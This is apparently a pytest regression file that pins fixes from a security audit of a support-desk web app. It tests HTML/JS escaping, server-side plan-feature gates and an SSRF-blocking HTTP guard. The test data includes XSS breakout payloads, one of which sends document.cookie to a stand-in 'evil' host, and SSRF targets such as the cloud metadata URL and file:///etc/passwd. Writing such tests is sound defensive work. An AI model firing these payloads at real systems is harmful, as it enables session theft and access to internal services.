"""
Regression tests for the 2026-08-13 security audit.

These exist because the audit's section 4 is explicit that the individual bugs
matter less than the patterns that produced them. Each test below pins one of
those patterns so it fails loudly if it comes back:

  - escaping done ad-hoc in JS string concatenation   (findings #5, #10)
  - plan flags that exist only as marketing copy      (finding #13)
  - outbound HTTP with no central guard               (findings #8, #14)

Run: venv/bin/python -m pytest tests/test_security_regressions.py -v
"""
from __future__ import annotations

import json
import re
from pathlib import Path

import pytest

REPO = Path(__file__).resolve().parents[1]
APP_JS = REPO / "supporthub" / "app" / "static" / "app.js"
TEMPLATES = REPO / "supporthub" / "app" / "templates"


# ── Findings #5 / #10 — inline-handler escaping ──────────────────────────────

def _load_js_helpers():
    """Extract escHtml/jsLit from app.js and re-implement them in Python.

    Keeping this in lockstep with the real functions by parsing them out means
    the test breaks if someone weakens them, which is the point.
    """
    src = APP_JS.read_text(encoding="utf-8")
    esc = re.search(r"function escHtml\(str\)\s*\{(.*?)\n\}", src, re.S)
    assert esc, "escHtml() not found in app.js — did it get renamed?"
    body = esc.group(1)

    required = {
        "&": "&amp;", "<": "&lt;", ">": "&gt;",
        '"': "&quot;", "'": "&#39;", "`": "&#96;",
    }
    for ch, ent in required.items():
        assert ent in body, (
            f"escHtml() no longer escapes {ch!r} to {ent}. Findings #5/#10 were "
            f"caused by exactly this: an escaper that missed ' and `."
        )
    return src


def test_eschtml_escapes_every_quote_character():
    """escHtml must neutralise ' and ` — omitting them caused #10."""
    _load_js_helpers()


def test_no_unsound_quote_escaping_idiom_remains():
    """`.replace(/'/g, "\\'")` is unsound and must not come back.

    HTML-layer escaping cannot protect a JS string literal: the attribute parser
    decodes &#39; back into a real quote before the JS is ever compiled.
    """
    src = APP_JS.read_text(encoding="utf-8")
    # Ignore the explanatory comment that documents why the idiom is banned.
    code = "\n".join(
        l for l in src.splitlines()
        if not l.lstrip().startswith(("*", "//", "/*"))
    )
    hits = re.findall(r"replace\(/'/g,\s*[\"']\\\\'", code)
    assert not hits, (
        f"{len(hits)} occurrence(s) of the unsound escHtml(...).replace(/'/g,\"\\\\'\") "
        "idiom are back. Use jsLit() instead (see app.js)."
    )


def test_jslit_neutralises_breakout_payloads():
    """jsLit output must survive HTML attribute decoding as a single JS literal."""
    src = APP_JS.read_text(encoding="utf-8")
    assert "function jsLit(" in src, "jsLit() helper is missing from app.js"

    def esc_html(s: str) -> str:
        return (s.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
                 .replace('"', "&quot;").replace("'", "&#39;").replace("`", "&#96;"))

    def js_lit(v) -> str:
        return esc_html(json.dumps(str("" if v is None else v)))

    def decode_attr(s: str) -> str:
        for ent, ch in (("&#39;", "'"), ("&#96;", "`"), ("&quot;", '"'),
                        ("&lt;", "<"), ("&gt;", ">"), ("&amp;", "&")):
            s = s.replace(ent, ch)
        return s

    payloads = [
        "x');fetch('https://evil/'+document.cookie);//",
        'x";alert(1);//',
        "x'\"`;alert(document.cookie);//",
        '" onmouseover="alert(1)',
        "'-alert(1)-'",
        "</script><script>alert(1)</script>",
        "x\\';alert(1);//",
        "it's a \"quoted\" file.png",
    ]
    for p in payloads:
        attr = f"copyAndFlash({js_lit(p)}, this)"
        # A raw " would terminate the double-quoted onclick attribute.
        assert '"' not in attr, f"jsLit leaked a raw quote for payload {p!r}"
        # After attribute decoding, the argument must still be exactly the payload.
        decoded = decode_attr(attr)
        arg = decoded[len("copyAndFlash("):decoded.rindex(", this)")]
        assert json.loads(arg) == p, f"jsLit did not round-trip {p!r}"


def test_no_jinja_inline_handler_uses_bare_escape_filter():
    """`| e` inside an inline on*= handler is finding #5. `| tojson` is the fix."""
    offenders = []
    for tpl in TEMPLATES.rglob("*.html"):
        for n, line in enumerate(tpl.read_text(encoding="utf-8").splitlines(), 1):
            if not re.search(r"\bon[a-z]+\s*=", line):
                continue
            # A Jinja expression escaped with `| e` (or unfiltered) inside a JS
            # string literal in an event handler.
            # Any Jinja expression sitting inside a QUOTED JS string literal in a
            # handler — whether escaped with `| e` or not filtered at all. Both are
            # broken; only `| tojson` (unquoted, single-quoted attribute) is safe.
            if re.search(r"on[a-z]+\s*=\s*[\"'][^\"']*'\{\{(?![^}]*\|\s*tojson)[^}]*\}\}'", line):
                offenders.append(f"{tpl.relative_to(REPO)}:{n}")
    assert not offenders, (
        "Inline handler(s) interpolate a Jinja value inside a quoted JS string: "
        + ", ".join(offenders)
        + ". Use `{{ x | tojson }}` UNQUOTED inside a SINGLE-quoted attribute "
          "(tojson leaves \" raw, so a double-quoted attribute is still breakable)."
    )


def test_no_js_inline_handler_builds_a_quoted_string_by_concatenation():
    """Finding the same bug in app.js: a JS literal hand-quoted inside a handler.

    Every one of these must go through jsLit(), which emits its own quotes. If the
    quotes are written in the template string, something is being trusted that
    shouldn't be — that is exactly how `c.extra.port` (unescaped) and `customerHash`
    (escHtml'd, which does not help in a JS context) survived the first pass.
    """
    offenders = []
    for n, line in enumerate(APP_JS.read_text(encoding="utf-8").splitlines(), 1):
        if not re.search(r"\bon[a-z]+\s*=", line) or line.lstrip().startswith("//"):
            continue
        suspicious = (
            re.search(r"escHtml\([^)]*\)\s*\+\s*'\\?'", line)          # '+ escHtml(x) +'
            or re.search(r"\\'\s*\+\s*[A-Za-z_$][\w.$\[\]]*\s*\+\s*'\\'", line)  # \'' + x + '\'
            or re.search(r"'\$\{[^}]+\}'", line)                        # '${x}'
        )
        if suspicious:
            offenders.append(f"app.js:{n}")
    assert not offenders, (
        "Inline handler(s) build a quoted JS string by concatenation: "
        + ", ".join(offenders) + ". Use jsLit(value) — it supplies its own quotes."
    )


# ── Finding #13 — plan flags with no server-side enforcement ─────────────────

# Every PLAN_FEATURES flag must now have a server-side gate. product_link used to
# be allow-listed here as "unenforceable" — it isn't; the URL was simply being
# built in the browser. It now goes through POST /api/product-link, which checks
# the flag. Do not re-add entries here to make this test pass: an entry means
# "this limit is advertised but not enforced", which is what finding #13 was.
KNOWN_UNENFORCEABLE: set[str] = set()


def test_every_plan_feature_has_a_server_side_gate():
    """A flag that is only hidden in the UI is not a plan limit — it's a suggestion."""
    from supporthub.app.services.plan_service import PLAN_FEATURES

    sources = [(REPO / "supporthub" / "app" / "main.py").read_text(encoding="utf-8")]
    for p in (REPO / "supporthub" / "app").rglob("*.py"):
        if p.name != "main.py" and "migrations" not in p.parts:
            sources.append(p.read_text(encoding="utf-8"))
    blob = "\n".join(sources)

    all_flags = set()
    for feats in PLAN_FEATURES.values():
        all_flags.update(feats)

    ungated = sorted(
        f for f in all_flags
        if f not in KNOWN_UNENFORCEABLE and f"'{f}'" not in blob and f'"{f}"' not in blob
    )
    assert not ungated, (
        f"PLAN_FEATURES flag(s) with no server-side reference: {ungated}. "
        "Add a check_feature() gate to the endpoint, or document why it cannot be gated."
    )


# ── Findings #8 / #14 — outbound HTTP must go through the guard ─────────────

@pytest.mark.parametrize("blocked_url", [
    "http://127.0.0.1:5000/",
    "http://169.254.169.254/latest/meta-data/",   # cloud metadata
    "http://10.0.0.1/",
    "http://[::1]/",
    "file:///etc/passwd",
    "http://user:pw@example.com/",                # credentials smuggling
])
def test_safe_http_blocks_non_public_targets(blocked_url):
    from supporthub.app.services.safe_http import validate_url, SsrfBlocked
    with pytest.raises(SsrfBlocked):
        validate_url(blocked_url)


def test_fetching_services_do_not_follow_redirects_themselves():
    """follow_redirects=True re-opens the SSRF hole this guard closes.

    Only the first URL gets validated; a public host can then 302 to an internal
    one. Redirects must be followed by safe_httpx_request, one validated hop at
    a time. This was the exact gap found on 2026-08-15.
    """
    for name in ("doc_scraper_service.py", "website_check_service.py"):
        src = (REPO / "supporthub" / "app" / "services" / name).read_text(encoding="utf-8")
        assert "follow_redirects=True" not in src, (
            f"{name} constructs an httpx client with follow_redirects=True — "
            "redirect hops would bypass validate_url(). Use safe_httpx_request()."
        )


def test_request_goes_to_the_validated_ip_not_the_hostname():
    """DNS rebinding: the socket must open to the IP we checked.

    Handing the hostname to httpx lets it resolve a second time, so an attacker
    controlling DNS answers the check with a public IP and the connect with
    127.0.0.1. The Host header and (for https) sni_hostname must carry the real
    hostname so routing and TLS hostname verification still work.
    """
    import supporthub.app.services.safe_http as sh

    seen = {}

    class FakeClient:
        def request(self, method, url, **kw):
            seen["url"] = url
            seen["host"] = kw.get("headers", {}).get("Host")
            seen["sni"] = kw.get("extensions", {}).get("sni_hostname")

            class R:
                is_redirect = False
                status_code = 200
                headers: dict = {}
            return R()

    original = sh.resolve_public_ips
    sh.resolve_public_ips = lambda h: ["93.184.216.34"]
    try:
        sh.safe_httpx_request(FakeClient(), "GET", "https://evil.example/p?q=1")
    finally:
        sh.resolve_public_ips = original

    assert seen["url"] == "https://93.184.216.34/p?q=1", (
        f"request went to {seen['url']!r} — it must address the validated IP, "
        "otherwise the hostname is re-resolved at connect time (DNS rebinding)."
    )
    assert seen["host"] == "evil.example", "Host header must carry the real hostname"
    assert seen["sni"] == "evil.example", "sni_hostname must carry the real hostname"


def test_caller_headers_survive_redirects():
    """Popping headers inside the redirect loop silently dropped them after hop 1."""
    import supporthub.app.services.safe_http as sh

    agents = []

    class RedirClient:
        n = 0

        def request(self, method, url, **kw):
            RedirClient.n += 1
            agents.append(kw.get("headers", {}).get("User-Agent"))
            first = RedirClient.n == 1

            class R:
                is_redirect = first
                status_code = 302 if first else 200
                headers = {"Location": "https://second.example/x"}
            return R()

    original = sh.resolve_public_ips
    sh.resolve_public_ips = lambda h: ["93.184.216.34"]
    try:
        sh.safe_httpx_request(RedirClient(), "GET", "https://first.example/",
                              headers={"User-Agent": "ModuleDesk"})
    finally:
        sh.resolve_public_ips = original

    assert agents == ["ModuleDesk", "ModuleDesk"], f"headers lost across redirect: {agents}"


def test_tls_verification_is_never_disabled():
    """verify=False silently accepts MITM'd responses; a TLS failure is signal."""
    offenders = []
    for p in (REPO / "supporthub" / "app").rglob("*.py"):
        text = p.read_text(encoding="utf-8")
        for n, line in enumerate(text.splitlines(), 1):
            # Strip trailing comments — safe_http.py mentions verify=False in a
            # comment explaining that it strips the kwarg.
            code = line.split("#", 1)[0]
            if "verify=False" in code:
                offenders.append(f"{p.relative_to(REPO)}:{n}")
    assert not offenders, f"TLS verification disabled at: {offenders}"
